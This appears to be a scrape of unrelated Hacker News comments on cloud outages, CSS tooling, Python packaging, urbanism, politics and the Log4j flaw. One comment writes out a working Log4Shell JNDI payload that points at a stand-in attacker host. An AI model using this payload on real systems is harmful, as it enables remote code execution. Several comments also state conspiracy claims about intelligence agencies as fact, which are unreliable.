skysight-inc/HackerNews huggingface dataset:
Having some authority on the subject because I've seen how both GCP and AWS handle their public status pages internally. They are manually updated by hand and are the last step in raising a large-scale issue.

Automated issue notifications get pushed to the Personal Health Dashboard for AWS and to my knowledge, GCP doesn't have automated status updates available to customer. (But AWS requires a support plan to gain access to their PHD, so it can be considered inaccessible to many as well).
Show HN: Podium: framework agnostic NLP library for data loading, preprocessing
Ñejo X Jim Jones – Harlem PR (Official Video)
Not the author, but not a reasonable request to make. It's not like the concept of "finding a needle in a haystack" is novel. There are dozens of projects with the name "haystack".
I get that. But, some things just deserve an instant blacklist, and, a CEO punching down at an intern is at least pretty close to that in my mind. We're not talking about something like when TripleByte was going to opt everyone with an account in to sharing a bunch of data they hadn't originally agreed to be shared, then reversed course before implementing it after seeing public feedback. We're literally talking about a well funded company going after a college student and former employee. One thing I've learned over time is that if someone will do bad things to someone else, there's a good chance they'd do bad things to you, if given half a reason to. That makes me wary of dealing with repl.it in any way, but, especially as a potential employee.
So, a common home setup is to plug a fancy router behind the ISPs useless modem router.

What happens is, IPv4 works out of the box. IPv6 doesn't work, because the fancy router doesn't get a big enough subnet from the useless ISP modem.
Is it deplatforming when you've committed egregious crimes?
Show HN: A screaming-fast TCP SYN port scanner
Hi everyone,

I wanted to share with you my latest Python project. It's a highly performant networking tool optimized for scanning sizable port ranges as quickly as possible. It maximizes CPU utilization and uniformly distributes the load across the CPU cores, allowing for 64K ports to be scanned in under 4 seconds.

The main goal was to see how far could I push Python in terms of performance, and I'm quite surprised (in a positive way) by the result.
Meh, there's a whole lot of virtue signaling going on in a place like SF. What people say vs. what they do privately rarely align in my experience. It's even worse in LA IMO.
Almost. Search "dry loop DSL" or "naked DSL".
some of those things are just subjective ('usability'), and some are part of the trade-off I was talking about. The zephyrus isn't as hot or loud when its limiting itself to the mac pros performance.
just making up something emulatorish

Double-indirect through memory? I think that's something only VAX has.
I can still see the prop on the page under "Disables Message Pattern Lookups" and "System Properties"
Or perhaps they just want to give a shout out to a fairly rare bird, the massively successful open source company... or both.
Not that I think companies have any obligation to share postmortems but Roblox said they would release one about the last outage and I don't think they have yet.
Yay more cake
I suppose you are just an independent skeptic of Near's death then?
> (Disclosure: I work on ads at Google, speaking only for myself)

Thank you for letting us know you have a giant material conflict of interest and we shouldn't trust anything you say.
Meanwhile their Tree-Sitter-based semantic parser[1] looks abandoned. There is even rotting for years pull request[2] adding support of the same stack graphs into it.

[1] https://github.com/github/semantic

[2] https://github.com/github/semantic/pull/535
The two linked articles are about the same subject but they are different articles.
That act was to stop foreign governments from jailing journalists for spying, but since more journalists are jailed now than ever before, it doesn't seem to have worked.
It's _such_ a crowded space though. Getting into monitoring is often a death trap because companies often think, "Hey, that's gotta be a logical next step, everybody loves dashboards" and then they get smoked by Splunk and Datadog because it's way harder than it looks and already saturated.
Oh that's interesting. I didn't even know this existed. Thanks!
It's competitive advantage was 10hrs between doses, that meant one dose per nursing shift rather two. A big plus from a hospital's point of view. However pain relief was inadequate by hour 8, so the recommendation needed adjustment.

Rather than make the recommendation in the patients interest of lowering the time between doses, they made the recommendation in their own (and the hospital's) financial interest. Increasing the dose.
> Wouldn't those all apply to a simple stateful firewall too?

Not necessarily. I mean if someone's setup really is "just NAT" then you can just send packets with the addresses of their internal hosts to their router and it will route them.
Also need fat upload pipes (i.e. fiber) to individuals’ homes so they can operate their own backup and peer to peer services.

When 90%+ of people have no upload capacity at their house, and are behind tons of CGNAT, then onedrive/iCloud/google drive become the only solution for storing your things you can access later. Same with chat protocols.
One professor making a mistake implies the US government is manipulating maps? How did you come to that conclusion?
Open carry is illegal in Cali
To Avoid Armageddon, Don’t Modernize Missiles–Eliminate Them
> Today we know AMP was also a anticompetitive plot to kill off header bidding.

I completely disagree, and I think this will become clear as information continues to come out.
(Why is your post dead? I just vouched for it.)

How are we to be certain that this isn't already happening?

I have a sneaking suspicion that most of Reddit top posts, whatever Google news recommends, and any media / Hollywood / game blog is astroturfed and paid for.
What tax changes are they reacting to? It looks like the capital gains tax increase is not in the current version of the bill.
I was definitely not expecting it to completely break std::isnan and std::isinf.
Jump over to neovim with built-in lsp + treesitter .. and enjoy :)

(happy to help clarify setup/configuration)
Thanks for those insights! Having the display time out just adds insult to injury. I saw someone made a script to send commands to it every 60 seconds, essentially keeping it on, but that also would then disable normal power saving functions.

I've got my Streamdeck hard mounted in an enclosure on my rig underneath my monitors, and the commands are always accessible. Absolutely love it; I'm guessing the touch bar wouldn't come close in functionality for my purposes. They are also physical buttons.
That link doesn't seem to work on latest Firefox.
I love that this highlights an oft-missed truth about Urbanism and shifting our urban landscape: this is going to take a long time. It's going to take many decades, and it's going to require waiting for individual human beings to literally die before we get to start making the changes we want to make.

I mean, unless we can get someone really excited about this into federal office in which case it _might_ be possible to do what we did in the US with the interstate system but in reverse, but that'd require a pretty different political landscape than the one we're in now, I suspect.
This is Java.

(I'm not surprised. I worked with Enterprise Java briefly, many years ago. Verbosity and redundancy is a deeply ingrained cultural thing.)
How is DNS centralised?
Serialized Roaring Bitmaps in Golang
I'm not arguing that V3 is better -- I think that's a complicated question, and I was trying to describe some of the tradeoffs. What I am arguing is that V3 does, contra my parent, support request blocking.
Backend: Spring boot with Kotlin, openapi-generator for server stubs, JOOQ for database interaction.

Frontend: React, antd as a component library, openapi-generator for api clients.

Database: PostgreSQL, flyway for migrations.

Out of all the stacks I've used over the years, this is the one I'm happiest with. It's very stable, each tool has excellent documentation and active communities, and it's just plain fun and productive to work with.
A quick back of the envelope calculation:
A 6.5 feet by 6.5 feet cube (2mx2m) could store about 4500kWh at 1000C, this seems close to energy need for heating for more than a month ( Energy density of fireclay from here: https://www.engineeringtoolbox.com/sensible-heat-storage-d_1... ).

That's a very large amount of bricks and a potentially dangerously high temperature but still...

Pottery kiln manufacturers might be able to design this? Kilns go to higher temp than this and are used indoors.
For threads you could implement something like Telegram's "Reply" feature. E.g. long press or swipe on a prior entry when typing a message, then when it's sent it has a clickable link to the prior message embedded above it.

Either way I'm definitely going to be checking this out as it's very similar to how I already use the Notes app for journaling type entries.
What’s the actual bug and how would it be exploited?
Bloomberg continues its slide. Hysterically bad marketing puff piece.

I'll leave this here
http://www.paulgraham.com/submarine.html
Isn't Windows Defender one of the worst performing AVs?
Nuclear will be a part of the (attempted) solution for sure. The problem with nuclear is that it takes many years and billions to build. The US alone would need somewhere around 500 new reactors to replace fossil fuels, not to mention the rest of the world. Who will build these reactors and pay for them and how long do you think this would take? Even in the most optimistic scenarios we'd be talking many many decades (if we somehow managed to pay for them).
The price gouging is enabled by the law. There is nothing like the pharmaceutical laws in the US. It is illegal for the world's biggest purchaser of drugs to be able to negotiate prices. It is the allegedly fiscally conservative Republicans who passed this law in 2003!!

In other countries you can import drugs etc....

None of the anti-competitive restrictions enshrined in law like the US exists anywhere.
As a non F1 watcher, I actually found that article more interesting than I expected.
And in the year 2021, it is reasonable to expect similar access via the web.
Nice. Thank you!
What tech did you use?
To be fair, one of the big perks of Tailwind (IMO) is not having to have a big ol' folder of CSS that you have to figure out what applies where in HTML, but rather just having all your styling inline (while still staying consistent, which is the usual downside of inlining styles manually). Having to have a tailwind-addons.css when you needed random bits of CSS they didn't have classes for kind of sucked; this looks like a nice QOL that would get me back to the original goal of uniting structure-and-style into singular files.

FWIW, I also hated using header files in C++ and also wrote a Ruby library for inlining all my tests immediately following the functions they test. I like having more context when looking at code without having to flip around from file to file to piece a bigger picture together.
How do you explain the lack of low-cost housing in most US cities then?
Sold everyone on using poetry a few months ago and now red faced as we have a litany of problems and time waste due to it. We are now sitting on some bleeding edge branch because specific dependencies cannot work at all without some new fangled feature and everyone wishes we were just using plain virtualenv as we had much less problems with that.
I find the premise questionable that stroads are bad. Give a stroad good sidewalks, crosswalks with signs that light up when you hit a button, and a bike path and everybody is well-served.

That or just let car people (majority) have these areas that are good for cars and let the anti car people have their crowded little streets with no parking elsewhere.
I basically gave up using the play store since I could not find any way to search/find 'ad free' or 'tracking free' or 'open source' etc.

The very few apps I use from the play store are either ad free or offer a premium version to remove ads completely - it's the only thing I'll put on my phone.

Seems there is too big a conflict of interest for even basic phone functionality - apps with ads make the money tree keep raining.

One day my (paid for prem version) "timed / scheduled silence" app pushed ads out to all users on an update and I had quite the back and forth with them - they fixed it - but did not seem to care one iota that their full screen overlay ads would prevent a mom from answering here phone right away or other basic functions.
- It was all about the money and they were going to maximize that.

All the while no incentive for google to make basic functions available in android or find-able in the play store. So little competition for the abusive, ad-ladden, add basic function to your phone parasites.

Glad to find f-droid at least, but I've given up on using my phone for as many things as it's capable of because the search and find is no-ad-hostile.
This isn't true. If you define "income" as the sum of an individual's income from capital plus income from labor, it is only in the top 0.1% of the distribution that capital income dominates labor income. (This percentile threshold changes slightly based on country; in countries such as the United States it'll be a bit higher.)
Good stuff. The scrollbar-gutter property is new to me. I've wanted that before in cases where content getting longer would cause a scroll bar to show, which would eat into the content space, which would break the layout.

https://developer.mozilla.org/en-US/docs/Web/CSS/scrollbar-g...
"If police as a concept didn't exist already, no one would create it."

Is there any evidence of that? Seems there are quite a few who support them as-is and many more who want to see minor reforms.

What do you mean by quality of life problems? How do we plan to staff in that model given police response time already averages 5 minutes (would it then be 15, or would we have 3x the cost to fill 3x the positions)?
I think the fact that it will significantly limit privacy and ad blockers is sufficient reason for a high level of criticism, which I took as the main point.

I didn't see dissecting the security details as the point they were trying to make. Instead it was to partially undermine the reasons Google said they were doing this.

Basically "here's why it's bad for privacy, and here are why Google's stated reasons for the update are insufficient to justify that"
1) Yep, difficult to start digitizing everything but that’s well understood.

2) Not if you build the system in (1) to ensure that happens.

3) I am saying we should start making basically everything subject to FOIA unless it’s part of an established process (like bid discussions) that would delay that.

Not saying it’s easy. I am saying it’s not the set of problems in the grandparent comment if you build your systems to fail open.
Dr. Strangelove's 'Doomsday Machine': It's real (2009)
You should consider watching some live NIN concerts. Even if the music is not your favorite, the stage show is amazing.
I looked into windicss before and didn't see the attributify mode https://windicss.org/features/attributify.html

It's exactly what I was looking for, Thanks!
The Republican party stands for one thing and one thing only: power. Nothing else matters.
If you'd like to detect whether you're affected by this dynamically, it looks like https://github.com/google/tsunami-security-scanner-plugins/i... will eventually make it into Google's dynamic scanner:
https://github.com/google/tsunami-security-scanner (I bet it would be easy to write a plugin for https://github.com/projectdiscovery/nuclei as well.)

To see if there are injection points statically, I work on a tool (https://github.com/returntocorp/semgrep) that someone else already wrote a check with: https://twitter.com/lapt0r/status/1469096944047779845 or look for the mitigation with `semgrep -e '$LOGGER.formatMsgNoLookups(true)' --lang java`. For the mitigation, the string should be unique enough that just ripgrep works well too.
React merged experimental support for custom elements (web components)
This person is never going to be married.
That doesn't seem very smart to me. The advantage of having the packages in a centralized location is that that multiple projects can alias them.

Also this will just pollute your source directories with generated directories and files that shouldn't be there.
As others have said, this is related to how Poetry does dependency resolution. If you say your program uses Python "^3.8", you would expect any Python version in that range to work, but instead, ALL Python versions in that range must work.

If one of your dependencies won't work with 3.9, the dependency graph cannot resolve. The author of Poetry said that this is because Poetry is meant for libraries, where this makes more sense.
This should be something that static code analyzers should pick up. If a dependency log4j dependency is <2.15, then it needs to be updated.

Just in time to ruin all of the reports project managers present to executives
Single-celled Organism Dies [video]
Where’s the CVE?
they grow opium in afghanistan which becomes heroin which kills people in the us. they do this to fund operations they could never fund legally. literally everyone knows this
Firefox is obsolete.
I mentioned downthread about a project called Styletron, which has styled-components-like devexp, but compiles to atomic CSS for the bundle size benefits.

Another variation I've seen is a combination of atomic CSS and Mithril.js' hyperscript selector syntax, which lets you do stuff like this:

const Button = 'button.bg-gray-900.px-6.text-white';

// JSX
return <Button>Click me</Button>

There definitely are interesting ways of applying atomic CSS beyond basic Tailwind usage.
HCL is a hell of a lot better than YAML, so I'll take it.
People with a burning desire to believe that anything that isn't overly punitive is a sign of weakness and moral decay. The sociopaths aren't the ones looking at ridiculous punishments for minor offenses and trying to get them reduced. They're the ones who are held back from committing obvious crimes by criminal penalties, instead of just not being an asshole.

A felony for $950 in stolen goods? You're not gonna get that conviction without a court, which means that everyone involved in that chain, from the judge, to the lawyers, to the compensation of the jury, to the bailiff, to the entire police apparatus involved in apprehending and charging them, and so on, is gonna need to be compensated for handling the issue. And that's before any time is served.

If you aren't going to try to root out the true cause of why people are stealing, you might as well just throw a ton of money in a giant pit and have a cookout.
The twitter thread says something about serialized objects containing malicious code. I didn't realize Java had that. Can someone explain in more detail?
Ethereum today does writes in double-digit seconds and reads in milliseconds.
It could just be a poorly written article, but I was going off of this.

"Apparently, in the Bay Area right now, you can walk up a residential street firing your gun into houses, and you still won’t be able to compete for attention with all of the other sensational crimes."
Pedestrians are the majority where I live; and even car drivers end up as pedestrians some of the time.
Virtue signaling about what though? The people I know that are pro-gun here aren't shy about it but they're not whining about their 2nd Amendment rights all the time either.
If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like ${jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deseria...

Another commentators states that after Java 8u191 arbitrary code execution isn't possible but you can get pingback: https://news.ycombinator.com/item?id=29505027
X1 carbon here (admittedly, 9 year old one) and it's amazing. I'd buy an gen 5 to 7 without hesitation.

On fedora it has been without flaw.
They will be plagued for the rest of their life by their inability to discern the absolute value of their life partner, forever wondering if there is somebody 10% more compatible out there.
I'm super impressed with Google's attention to Hacker News and getting their shills to come in and muddy the waters and refute. At least one guy admitted he's working for the man...
This is a quick and dirty example.

https://jsfiddle.net/gx4hk358/
Even spread out in attributes it’s hard to read
I don't get what the point of this feature even is. What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged? And is this enabled out-of-the-box with log4j2?
Thanks, I've been thinking I'll do that once I'm ready to commit a little more. I did just get his new book.
yeah, maybe solar plus geothermal heat pump would be the most advantageous system right now. Although you can't store and there isn't much solar in December and January here.
How would you differentiate the protest from the way they're currently doing their jobs?
it's not people are anti-car as much as they are pro-human. the majority of people (in the states) would not be car people if they had alternatives. stroads are hostile to anyone not in a car. making pedestrians hit a beg button to cross street is just reinforcing that they are trespassing on land that is not for them.
I use Tailwind utility classes extensively to create reusable components in a Rails app using GitHub's ViewComponent gem (https://viewcomponent.org)

Occasionally, I'll use @apply directives to DRY up something that isn't easy to encapsulate at the component level, but 95% of the time, I can easily get by with utility classes.

I try to avoid using hyperbolic-sounding language like 'revolutionized,' but Tailwind + ViewComponent has basically revolutionized the way I build user interfaces in Rails.
Power companies commit to building nationwide EV charging network
Yeah, sounds sensible. What I've been doing so far was attempting to extend the base class like so:

import classNames from 'classnames';

...

className = classNames(styles.buttton, props.className);

But this leaves me at the mercy of the order in which webpack builds stylesheets (sometimes props.className will be defined after styles.button and my plan would work; other times it will get defined before styles.button, and styles.button will override the CSS rules of props.className).

Really wanted the extension of the base rules to work out; but I guess you are right: the className from the props should override entirely one of the classNames of the component.
That would makes sense then, but even in Oregon where it is legal it's not common from my experience in most places.
It's been years since AMP went live. Disagreeing while pointing to information that's been withheld for years and does not (to my knowledge) have a timeline for release... that does not make a very compelling argument. It amounts to "trust us". But we don't-- that's kind of the point.
Yeah, but it's only started to enter the public conscience in the last year. Do they're just starting to understand scale.

But also, I interviewed for DevOps there and they only hire leet coders, so I suspect they're missing some of the fundamentals needed for a stable system.
“ There is a higher power in the form of civillian elected government that manage the framework within which the IC members are allowed to operate.”

they sell illegal drugs to fund operations they could never fund legally. remember iran contra? they also grow opium in afghanistan which becomes heroin. they also are involved in sex trafficking of children (epstein “belonged to intelligence”)
You will always marry the wrong person. The trick is to make the best of it.